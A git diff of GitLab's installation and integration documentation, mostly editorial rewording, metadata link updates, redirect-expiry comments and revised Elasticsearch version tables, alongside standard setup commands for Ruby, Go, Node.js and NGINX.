diff --git a/doc/install/docker.md b/doc/install/docker.md
index ca780caa563..0cc73c2d64e 100644
--- a/doc/install/docker.md
+++ b/doc/install/docker.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: index
---
diff --git a/doc/install/google-protobuf.md b/doc/install/google-protobuf.md
index 434817c48cb..ae7b0548d51 100644
--- a/doc/install/google-protobuf.md
+++ b/doc/install/google-protobuf.md
@@ -3,3 +3,6 @@ redirect_to: 'installation.md#google-protobuf-loaderror-libx86_64-linux-gnulibcs
---
This document was moved to [another location](installation.md#google-protobuf-loaderror-libx86_64-linux-gnulibcso6-version-glibc_214-not-found).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/install/google_cloud_platform/index.md b/doc/install/google_cloud_platform/index.md
index da2b30df476..22f32d69c02 100644
--- a/doc/install/google_cloud_platform/index.md
+++ b/doc/install/google_cloud_platform/index.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
description: 'Learn how to install a GitLab instance on Google Cloud Platform.'
type: howto
---
@@ -10,7 +10,7 @@ type: howto
This guide will help you install GitLab on a [Google Cloud Platform (GCP)](https://cloud.google.com/) instance.
-NOTE: **Alternative installation method:**
+NOTE:
Google provides a whitepaper for [deploying production-ready GitLab on
Google Kubernetes Engine](https://cloud.google.com/solutions/deploying-production-ready-gitlab-on-gke),
including all steps and external resource configuration. These are an alternative to using a GCP VM, and use
@@ -91,7 +91,7 @@ here's how you configure GitLab to be aware of the change:
In the future you might want to set up [connecting with an SSH key](https://cloud.google.com/compute/docs/instances/connecting-to-instance)
instead.
-1. Edit the config file of Omnibus GitLab using your favorite text editor:
+1. Edit the configuration file of Omnibus GitLab using your favorite text editor:
```shell
sudo vim /etc/gitlab/gitlab.rb
diff --git a/doc/install/installation.md b/doc/install/installation.md
index a6d00ad140e..983c7ed577f 100644
--- a/doc/install/installation.md
+++ b/doc/install/installation.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
@@ -102,16 +102,6 @@ apt-get upgrade -y
apt-get install sudo -y
```
-During this installation, some files need to be edited manually. If you are familiar
-with vim, set it as default editor with the commands below. If you are not familiar
-with vim, skip this and keep using the default editor:
-
-```shell
-# Install vim and set as default editor
-sudo apt-get install -y vim
-sudo update-alternatives --set editor /usr/bin/vim.basic
-```
-
### Build dependencies
Install the required packages (needed to compile Ruby and native extensions to Ruby gems):
@@ -215,7 +205,7 @@ Download Ruby and compile it:
```shell
mkdir /tmp/ruby && cd /tmp/ruby
-curl --remote-name --progress https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7.2.tar.gz
+curl --remote-name --progress "https://cache.ruby-lang.org/pub/ruby/2.7/ruby-2.7.2.tar.gz"
echo 'cb9731a17487e0ad84037490a6baf8bfa31a09e8 ruby-2.7.2.tar.gz' | shasum -c - && tar xzf ruby-2.7.2.tar.gz
cd ruby-2.7.2
@@ -235,7 +225,7 @@ page](https://golang.org/dl).
# Remove former Go installation folder
sudo rm -rf /usr/local/go
-curl --remote-name --progress https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz
+curl --remote-name --progress "https://dl.google.com/go/go1.13.5.linux-amd64.tar.gz"
echo '512103d7ad296467814a6e3f635631bd35574cab3369a97a323c9a585ccaa569 go1.13.5.linux-amd64.tar.gz' | shasum -a256 -c - && \
sudo tar -C /usr/local -xzf go1.13.5.linux-amd64.tar.gz
sudo ln -sf /usr/local/go/bin/{go,godoc,gofmt} /usr/local/bin/
@@ -257,10 +247,10 @@ we need to install through the following commands:
```shell
# install node v12.x
-curl --location https://deb.nodesource.com/setup_12.x | sudo bash -
+curl --location "https://deb.nodesource.com/setup_12.x" | sudo bash -
sudo apt-get install -y nodejs
-curl --silent --show-error https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
+curl --silent --show-error "https://dl.yarnpkg.com/debian/pubkey.gpg" | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
sudo apt-get update
sudo apt-get install yarn
@@ -278,7 +268,7 @@ sudo adduser --disabled-login --gecos 'GitLab' git
## 6. Database
-NOTE: **Note:**
+NOTE:
In GitLab 12.1 and later, only PostgreSQL is supported. In GitLab 13.0 and later, we [require PostgreSQL 11+](requirements.md#postgresql-requirements).
1. Install the database packages:
@@ -443,7 +433,7 @@ Make sure to replace `<X-Y-stable>` with the stable branch that matches the
version you want to install. For example, if you want to install 11.8 you would
use the branch name `11-8-stable`.
-CAUTION: **Caution:**
+WARNING:
You can change `<X-Y-stable>` to `master` if you want the *bleeding edge* version, but never install `master` on a production server!
### Configure It
@@ -553,7 +543,7 @@ sudo -u git -H chmod o-rwx config/database.yml
### Install Gems
-NOTE: **Note:**
+NOTE:
As of Bundler 1.5.2, you can invoke `bundle install -jN` (where `N` is the number of your processor cores) and enjoy parallel gems installation with measurable difference in completion time (~60% faster). Check the number of your cores with `nproc`. For more information, see this [post](https://thoughtbot.com/blog/parallel-gem-installing-using-bundler).
Make sure you have `bundle` (run `bundle -v`):
@@ -773,14 +763,14 @@ sudo apt-get install -y nginx
### Site Configuration
-Copy the example site config:
+Copy the example site configuration:
```shell
sudo cp lib/support/nginx/gitlab /etc/nginx/sites-available/gitlab
sudo ln -s /etc/nginx/sites-available/gitlab /etc/nginx/sites-enabled/gitlab
```
-Make sure to edit the config file to match your setup. Also, ensure that you match your paths to GitLab, especially if installing for a user other than the `git` user:
+Make sure to edit the configuration file to match your setup. Also, ensure that you match your paths to GitLab, especially if installing for a user other than the `git` user:
```shell
# Change YOUR_SERVER_FQDN to the fully-qualified
@@ -795,21 +785,21 @@ Make sure to edit the config file to match your setup. Also, ensure that you mat
sudo editor /etc/nginx/sites-available/gitlab
```
-If you intend to enable GitLab Pages, there is a separate NGINX config you need
+If you intend to enable GitLab Pages, there is a separate NGINX configuration you need
to use. Read all about the needed configuration at the
[GitLab Pages administration guide](../administration/pages/index.md).
-If you want to use HTTPS, replace the `gitlab` NGINX config with `gitlab-ssl`. See [Using HTTPS](#using-https) for HTTPS configuration details.
+If you want to use HTTPS, replace the `gitlab` NGINX configuration with `gitlab-ssl`. See [Using HTTPS](#using-https) for HTTPS configuration details.
### Test Configuration
-Validate your `gitlab` or `gitlab-ssl` NGINX config file with the following command:
+Validate your `gitlab` or `gitlab-ssl` NGINX configuration file with the following command:
```shell
sudo nginx -t
```
-You should receive `syntax is okay` and `test is successful` messages. If you receive errors check your `gitlab` or `gitlab-ssl` NGINX config file for typos, etc. as indicated in the error message given.
+You should receive `syntax is okay` and `test is successful` messages. If you receive errors check your `gitlab` or `gitlab-ssl` NGINX configuration file for typos, etc. as indicated in the error message given.
Verify that the installed version is greater than 1.12.1:
@@ -842,7 +832,7 @@ sudo -u git -H bundle exec rake gitlab:check RAILS_ENV=production
If all items are green, congratulations on successfully installing GitLab!
-TIP: **Tip:**
+NOTE:
Supply the `SANITIZE=true` environment variable to `gitlab:check` to omit project names from the output of the check command.
### Initial Login
@@ -878,7 +868,7 @@ To use GitLab with HTTPS:
1. In the `config.yml` of GitLab Shell:
1. Set `gitlab_url` option to the HTTPS endpoint of GitLab (e.g. `https://git.example.com`).
1. Set the certificates using either the `ca_file` or `ca_path` option.
-1. Use the `gitlab-ssl` NGINX example config instead of the `gitlab` config.
+1. Use the `gitlab-ssl` NGINX example configuration instead of the `gitlab` configuration.
1. Update `YOUR_SERVER_FQDN`.
1. Update `ssl_certificate` and `ssl_certificate_key`.
1. Review the configuration file and consider applying other security and performance enhancing features.
@@ -951,7 +941,7 @@ production:
### Custom SSH Connection
-If you are running SSH on a non-standard port, you must change the GitLab user's SSH config.
+If you are running SSH on a non-standard port, you must change the GitLab user's SSH configuration.
```plaintext
# Add to /home/git/.ssh/config
@@ -973,7 +963,7 @@ As of GitLab 12.9, [Puma](https://github.com/puma/puma) has replaced Unicorn as
If you want to switch back to Unicorn, follow these steps:
1. Finish the GitLab setup so you have it up and running.
-1. Copy the supplied example Unicorn config file into place:
+1. Copy the supplied example Unicorn configuration file into place:
```shell
cd /home/git/gitlab
diff --git a/doc/install/ldap.md b/doc/install/ldap.md
index 164478f09f7..e88363f81b1 100644
--- a/doc/install/ldap.md
+++ b/doc/install/ldap.md
@@ -3,3 +3,6 @@ redirect_to: '../administration/auth/ldap/index.md'
---
This document was moved to [another location](../administration/auth/ldap/index.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/install/openshift_and_gitlab/index.md b/doc/install/openshift_and_gitlab/index.md
index 2d7389a48a0..21fe87a71b1 100644
--- a/doc/install/openshift_and_gitlab/index.md
+++ b/doc/install/openshift_and_gitlab/index.md
@@ -1,13 +1,13 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: howto
---
# How to install GitLab on OpenShift Origin 3
-CAUTION: **Deprecated:**
+WARNING:
This article is deprecated. Use the official Kubernetes Helm charts for
installing GitLab to OpenShift. Check out the
[official installation docs](https://docs.gitlab.com/charts/installation/cloud/openshift.html)
@@ -19,7 +19,7 @@ for details.
platform created by [RedHat](https://www.redhat.com/en), based on [Kubernetes](https://kubernetes.io/) and [Docker](https://www.docker.com). That means
you can host your own PaaS for free and almost with no hassle.
-In this tutorial, we will see how to deploy GitLab in OpenShift using GitLab's
+In this tutorial, we will see how to deploy GitLab in OpenShift using the GitLab
official Docker image while getting familiar with the web interface and CLI
tools that will help us achieve our goal.
@@ -27,12 +27,12 @@ For a video demonstration on installing GitLab on OpenShift, check the article [
## Prerequisites
-CAUTION: **Caution:**
+WARNING:
This information is no longer up to date, as the current versions
have changed and products have been renamed.
OpenShift 3 is not yet deployed on RedHat's offered [Online platform](https://www.openshift.com/),
-so in order to test it, we will use an [all-in-one Virtualbox image](https://www.okd.io/minishift/) that is
+so in order to test it, we will use an [all-in-one VirtualBox image](https://www.okd.io/minishift/) that is
offered by the OpenShift developers and managed by Vagrant. If you haven't done
already, go ahead and install the following components as they are essential to
test OpenShift easily:
@@ -48,7 +48,7 @@ latest Origin release is used:
- **OpenShift** `v1.3.0` (is pre-installed in the [VM image](https://app.vagrantup.com/openshift/boxes/origin-all-in-one))
- **Kubernetes** `v1.3.0` (is pre-installed in the [VM image](https://app.vagrantup.com/openshift/boxes/origin-all-in-one))
-NOTE: **Note:**
+NOTE:
If you intend to deploy GitLab on a production OpenShift cluster, there are some
limitations to bare in mind. Read on the [limitations](#current-limitations)
section for more information and follow the linked links for the relevant
@@ -267,7 +267,7 @@ And then let's import it in OpenShift:
oc create -f openshift-template.json -n openshift
```
-NOTE: **Note:**
+NOTE:
The `-n openshift` namespace flag is a trick to make the template available to all
projects. If you recall from when we created the `gitlab` project, `oc` switched
to it automatically, and that can be verified by the `oc status` command. If
@@ -314,7 +314,7 @@ If you are deploying to production you will want to change the **GitLab instance
hostname** and use greater values for the volume sizes. If you don't provide a
password for PostgreSQL, it will be created automatically.
-NOTE: **Note:**
+NOTE:
The `gitlab.apps.10.2.2.2.nip.io` hostname that is used by default will
resolve to the host with IP `10.2.2.2` which is the IP our VM uses. It is a
trick to have distinct FQDNs pointing to services that are on our local network.
@@ -326,8 +326,8 @@ Now that we configured this, let's see how to manage and scale GitLab.
Setting up GitLab for the first time might take a while depending on your
internet connection and the resources you have attached to the all-in-one VM.
-GitLab's Docker image is quite big (~500MB), so you'll have to wait until
-it's downloaded and configured before you use it.
+The GitLab Docker image is quite big (approximately 500 MB), so you'll have to
+wait until it's downloaded and configured before you use it.
### Watch while GitLab gets deployed
@@ -464,7 +464,7 @@ OpenShift's website about [autoscaling](https://docs.okd.io/3.11/dev_guide/pod_a
As stated in the [all-in-one VM](https://www.okd.io/minishift/) page:
> By default, OpenShift will not allow a container to run as root or even a
-non-random container assigned userid. Most Docker images in the Dockerhub do not
+non-random container assigned userid. Most Docker images in Docker Hub do not
follow this best practice and instead run as root.
The all-in-one VM we are using has this security turned off so it will not
diff --git a/doc/install/pivotal/index.md b/doc/install/pivotal/index.md
index 41a5ea82ea2..1ac667898ab 100644
--- a/doc/install/pivotal/index.md
+++ b/doc/install/pivotal/index.md
@@ -1,16 +1,16 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# GitLab Pivotal Tile **(PREMIUM ONLY)**
-CAUTION: **Discontinued:**
+WARNING:
As of September 13, 2017, the GitLab Enterprise Plus for Pivotal Cloud Foundry
tile on Pivotal Network has reached its End of Availability (“EoAâ€) and is no
longer available for download or sale through Pivotal. Current customers with
-active subscriptions will continue to receive support from GitLab through their
+active subscriptions continue to receive support from GitLab through their
subscription term. Pivotal and GitLab are collaborating on creating a new
Kubernetes-based tile for the Pivotal Container Service. Please contact GitLab
support with any questions regarding GitLab Enterprise Plus for Pivotal Cloud Foundry.
diff --git a/doc/install/postgresql_extensions.md b/doc/install/postgresql_extensions.md
index 6355806f067..ed108a35c4b 100644
--- a/doc/install/postgresql_extensions.md
+++ b/doc/install/postgresql_extensions.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Managing PostgreSQL extensions
diff --git a/doc/install/redis.md b/doc/install/redis.md
index cff5c2f2611..9048f777a0d 100644
--- a/doc/install/redis.md
+++ b/doc/install/redis.md
@@ -3,3 +3,6 @@ redirect_to: installation.md#7-redis
---
This document was moved to [another location](installation.md#7-redis).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/install/relative_url.md b/doc/install/relative_url.md
index 82cf134f968..90026e6e49e 100644
--- a/doc/install/relative_url.md
+++ b/doc/install/relative_url.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -47,7 +47,7 @@ See the [requirements](requirements.md) document for more information.
## Enable relative URL in GitLab
-NOTE: **Note:**
+NOTE:
Do not make any changes to your web server configuration file regarding
relative URL. The relative URL support is implemented by GitLab Workhorse.
@@ -111,7 +111,7 @@ Make sure to follow all steps below:
-authBackend http://127.0.0.1:8080/gitlab
```
- NOTE: **Note:**
+ NOTE:
If you are using a custom init script, make sure to edit the above
GitLab Workhorse setting as needed.
diff --git a/doc/install/requirements.md b/doc/install/requirements.md
index 3f02544a5ab..cced6d0a3f6 100644
--- a/doc/install/requirements.md
+++ b/doc/install/requirements.md
@@ -1,7 +1,7 @@
---
stage: Enablement
group: Distribution
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
type: reference
---
@@ -106,12 +106,12 @@ Apart from a local hard drive you can also mount a volume that supports the netw
If you have enough RAM and a recent CPU the speed of GitLab is mainly limited by hard drive seek times. Having a fast drive (7200 RPM and up) or a solid state drive (SSD) will improve the responsiveness of GitLab.
-NOTE: **Note:**
-Since file system performance may affect GitLab's overall performance, [we don't recommend using AWS EFS for storage](../administration/nfs.md#avoid-using-awss-elastic-file-system-efs).
+NOTE:
+Since file system performance may affect the overall performance of GitLab, [we don't recommend using AWS EFS for storage](../administration/nfs.md#avoid-using-awss-elastic-file-system-efs).
### CPU
-CPU requirements are dependent on the number of users and expected workload. Your exact needs may be more, depending on your workload. Your workload is influenced by factors such as - but not limited to - how active your users are, how much automation you use, mirroring, and repo/change size.
+CPU requirements are dependent on the number of users and expected workload. Your exact needs may be more, depending on your workload. Your workload is influenced by factors such as - but not limited to - how active your users are, how much automation you use, mirroring, and repository/change size.
The following is the recommended minimum CPU hardware guidance for a handful of example GitLab user base sizes.
@@ -121,7 +121,7 @@ The following is the recommended minimum CPU hardware guidance for a handful of
### Memory
-Memory requirements are dependent on the number of users and expected workload. Your exact needs may be more, depending on your workload. Your workload is influenced by factors such as - but not limited to - how active your users are, how much automation you use, mirroring, and repo/change size.
+Memory requirements are dependent on the number of users and expected workload. Your exact needs may be more, depending on your workload. Your workload is influenced by factors such as - but not limited to - how active your users are, how much automation you use, mirroring, and repository/change size.
The following is the recommended minimum Memory hardware guidance for a handful of example GitLab user base sizes.
@@ -154,12 +154,11 @@ GitLab version | Minimum PostgreSQL version
-|-
10.0 | 9.6
13.0 | 11
-13.6 | 12
You must also ensure the `pg_trgm` and `btree_gist` extensions are [loaded into every
GitLab database](postgresql_extensions.html).
-NOTE: **Note:**
+NOTE:
Support for [PostgreSQL 9.6 and 10 has been removed in GitLab 13.0](https://about.gitlab.com/releases/2020/05/22/gitlab-13-0-released/#postgresql-11-is-now-the-minimum-required-version-to-install-gitlab) so that GitLab can benefit from PostgreSQL 11 improvements, such as partitioning. For the schedule of transitioning to PostgreSQL 12, see [the related epic](https://gitlab.com/groups/gitlab-org/-/epics/2184).
#### Additional requirements for GitLab Geo
@@ -227,7 +226,7 @@ Redis stores all user sessions and the background task queue.
The storage requirements for Redis are minimal, about 25kB per user.
Sidekiq processes the background jobs with a multithreaded process.
This process starts with the entire Rails stack (200MB+) but it can grow over time due to memory leaks.
-On a very active server (10,000 active users) the Sidekiq process can use 1GB+ of memory.
+On a very active server (10,000 billable users) the Sidekiq process can use 1GB+ of memory.
## Prometheus and its exporters
@@ -271,7 +270,7 @@ For reference, GitLab.com's [auto-scaling shared runner](../user/gitlab_com/inde
## Supported web browsers
-CAUTION: **Caution:**
+WARNING:
With GitLab 13.0 (May 2020) we have removed official support for Internet Explorer 11.
GitLab supports the following web browsers:
@@ -287,7 +286,7 @@ For the listed web browsers, GitLab supports:
- The current and previous major versions of browsers.
- The current minor version of a supported major version.
-NOTE: **Note:**
+NOTE:
We don't support running GitLab with JavaScript disabled in the browser and have no plans of supporting that
in the future because we have features such as Issue Boards which require JavaScript extensively.
diff --git a/doc/integration/README.md b/doc/integration/README.md
index 25e8c1a51c1..227e2eec53c 100644
--- a/doc/integration/README.md
+++ b/doc/integration/README.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
comments: false
---
@@ -43,14 +43,15 @@ GitLab also provides features to improve the security of your own application. F
GitLab can be integrated with the following external service for continuous integration:
-- [Jenkins](jenkins.md) CI. **(STARTER)**
+- [Jenkins](jenkins.md) CI.
## Feature enhancements
GitLab can be integrated with the following enhancements:
- Add GitLab actions to [Gmail actions buttons](gmail_action_buttons_for_gitlab.md).
-- Configure [PlantUML](../administration/integration/plantuml.md) to use diagrams in AsciiDoc documents.
+- Configure [PlantUML](../administration/integration/plantuml.md)
+or [Kroki](../administration/integration/kroki.md) to use diagrams in AsciiDoc and Markdown documents.
- Attach merge requests to [Trello](trello_power_up.md) cards.
- Enable integrated code intelligence powered by [Sourcegraph](sourcegraph.md).
- Add [Elasticsearch](elasticsearch.md) for [Advanced Search](../user/search/advanced_global_search.md),
@@ -64,12 +65,12 @@ Integration with services such as Campfire, Flowdock, HipChat, Pivotal Tracker,
### SSL certificate errors
-When trying to integrate GitLab with services that are using self-signed certificates, it is very likely that SSL certificate errors will occur in different parts of the application, most likely Sidekiq.
+When trying to integrate GitLab with services that are using self-signed certificates, it is very likely that SSL certificate errors occur in different parts of the application, most likely Sidekiq.
There are two approaches you can take to solve this:
1. Add the root certificate to the trusted chain of the OS.
-1. If using Omnibus, you can add the certificate to GitLab's trusted certificates.
+1. If using Omnibus, you can add the certificate to the GitLab trusted certificates.
**OS main trusted chain**
diff --git a/doc/integration/akismet.md b/doc/integration/akismet.md
index d290ffa92b9..a2720c82fe7 100644
--- a/doc/integration/akismet.md
+++ b/doc/integration/akismet.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Akismet
@@ -15,7 +15,7 @@ Admin page.
Privacy note: GitLab submits the user's IP and user agent to Akismet.
-NOTE: **Note:**
+NOTE:
In GitLab 8.11 and later, all issues are submitted to Akismet.
In earlier GitLab versions, this only applied to API and non-project members.
diff --git a/doc/integration/auth0.md b/doc/integration/auth0.md
index 339d97cb00f..7e531682faf 100644
--- a/doc/integration/auth0.md
+++ b/doc/integration/auth0.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Auth0 OmniAuth Provider
diff --git a/doc/integration/azure.md b/doc/integration/azure.md
index a9660e1d716..f22a94a01c7 100644
--- a/doc/integration/azure.md
+++ b/doc/integration/azure.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Microsoft Azure OAuth2 OmniAuth Provider
diff --git a/doc/integration/bitbucket.md b/doc/integration/bitbucket.md
index 3dc6983355c..81cbc42cf45 100644
--- a/doc/integration/bitbucket.md
+++ b/doc/integration/bitbucket.md
@@ -1,12 +1,12 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Integrate your GitLab server with Bitbucket Cloud
-NOTE: **Note:**
+NOTE:
Starting from GitLab 11.4, OmniAuth is enabled by default. If you're using an
earlier version, you must explicitly enable it.
diff --git a/doc/integration/cas.md b/doc/integration/cas.md
index e61988c3301..5a198e85f5c 100644
--- a/doc/integration/cas.md
+++ b/doc/integration/cas.md
@@ -1,12 +1,12 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# CAS OmniAuth Provider
-To enable the CAS OmniAuth provider you must register your application with your CAS instance. This requires the service URL GitLab will supply to CAS. It should be something like: `https://gitlab.example.com:443/users/auth/cas3/callback?url`. By default handling for SLO is enabled, you only need to configure CAS for backchannel logout.
+To enable the CAS OmniAuth provider you must register your application with your CAS instance. This requires the service URL GitLab supplies to CAS. It should be something like: `https://gitlab.example.com:443/users/auth/cas3/callback?url`. By default handling for SLO is enabled, you only need to configure CAS for backchannel logout.
1. On your GitLab server, open the configuration file.
diff --git a/doc/integration/chat_commands.md b/doc/integration/chat_commands.md
index 1a4fb46046d..a0361064d87 100644
--- a/doc/integration/chat_commands.md
+++ b/doc/integration/chat_commands.md
@@ -3,3 +3,6 @@ redirect_to: 'slash_commands.md'
---
This document was moved to [integration/slash_commands.md](slash_commands.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/integration/crowd.md b/doc/integration/crowd.md
index 30e3e888b29..e07e3435baf 100644
--- a/doc/integration/crowd.md
+++ b/doc/integration/crowd.md
@@ -3,3 +3,6 @@ redirect_to: '../administration/auth/crowd.md'
---
This document was moved to [`administration/auth/crowd`](../administration/auth/crowd.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/integration/elasticsearch.md b/doc/integration/elasticsearch.md
index 095c58f17fc..52275649a67 100644
--- a/doc/integration/elasticsearch.md
+++ b/doc/integration/elasticsearch.md
@@ -2,7 +2,7 @@
type: reference
stage: Enablement
group: Global Search
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Elasticsearch integration **(STARTER ONLY)**
@@ -23,8 +23,8 @@ and the advantage of the following special searches:
| GitLab version | Elasticsearch version |
|---------------------------------------------|-------------------------------|
-| GitLab Enterprise Edition 13.6 or greater | Elasticsearch 7.x (6.4 - 6.x deprecated to be removed in 13.8) |
-| GitLab Enterprise Edition 13.2 through 13.5 | Elasticsearch 6.4 through 7.x |
+| GitLab Enterprise Edition 13.9 or greater | Elasticsearch 6.8 through 7.x |
+| GitLab Enterprise Edition 13.3 through 13.8 | Elasticsearch 6.4 through 7.x |
| GitLab Enterprise Edition 12.7 through 13.2 | Elasticsearch 6.x through 7.x |
| GitLab Enterprise Edition 11.5 through 12.6 | Elasticsearch 5.6 through 6.x |
| GitLab Enterprise Edition 9.0 through 11.4 | Elasticsearch 5.1 through 5.5 |
@@ -83,6 +83,12 @@ After the data is added to the database or repository and [Elasticsearch is
enabled in the Admin Area](#enabling-advanced-search) the search index will be
updated automatically.
+## Upgrading to a new Elasticsearch major version
+
+Since Elasticsearch can read and use indices created in the previous major version, you don't need to change anything in the GitLab configuration when upgrading Elasticsearch.
+
+The only thing worth noting is that if you have created your current index before GitLab 13.0, you might want to [reclaim the production index name](#reclaiming-the-gitlab-production-index-name) or reindex from scratch (which will implicitly create an alias). The latter might be faster depending on the GitLab instance size. Once you do that, you'll be able to perform zero-downtime reindexing and you will benefit from any future features that will make use of the alias.
+
## Elasticsearch repository indexer
For indexing Git repository data, GitLab uses an [indexer written in Go](https://gitlab.com/gitlab-org/gitlab-elasticsearch-indexer).
@@ -157,7 +163,7 @@ PREFIX=/usr sudo -E make install
After installation, be sure to [enable Elasticsearch](#enabling-advanced-search).
-NOTE: **Note:**
+NOTE:
If you see an error such as `Permission denied - /home/git/gitlab-elasticsearch-indexer/` while indexing, you
may need to set the `production -> elasticsearch -> indexer_path` setting in your `gitlab.yml` file to
`/usr/local/bin/gitlab-elasticsearch-indexer`, which is where the binary is installed.
@@ -172,7 +178,7 @@ To enable Advanced Search, you need to have admin access to GitLab:
1. Navigate to **Admin Area** (wrench icon), then **Settings > General**
and expand the **Advanced Search** section.
- NOTE: **Note:**
+ NOTE:
To see the Advanced Search section, you need an active Starter
[license](../user/admin_area/license.md).
@@ -218,8 +224,8 @@ The following Elasticsearch settings are available:
| `AWS Secret Access Key` | The AWS secret access key. |
| `Maximum file size indexed` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-file-size-indexed). |
| `Maximum field length` | See [the explanation in instance limits.](../administration/instance_limits.md#maximum-field-length). |
-| `Maximum bulk request size (MiB)` | The Maximum Bulk Request size is used by GitLab's Golang-based indexer processes and indicates how much data it ought to collect (and store in memory) in a given indexing process before submitting the payload to Elasticsearch’s Bulk API. This setting should be used with the Bulk request concurrency setting (see below) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running GitLab's Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. |
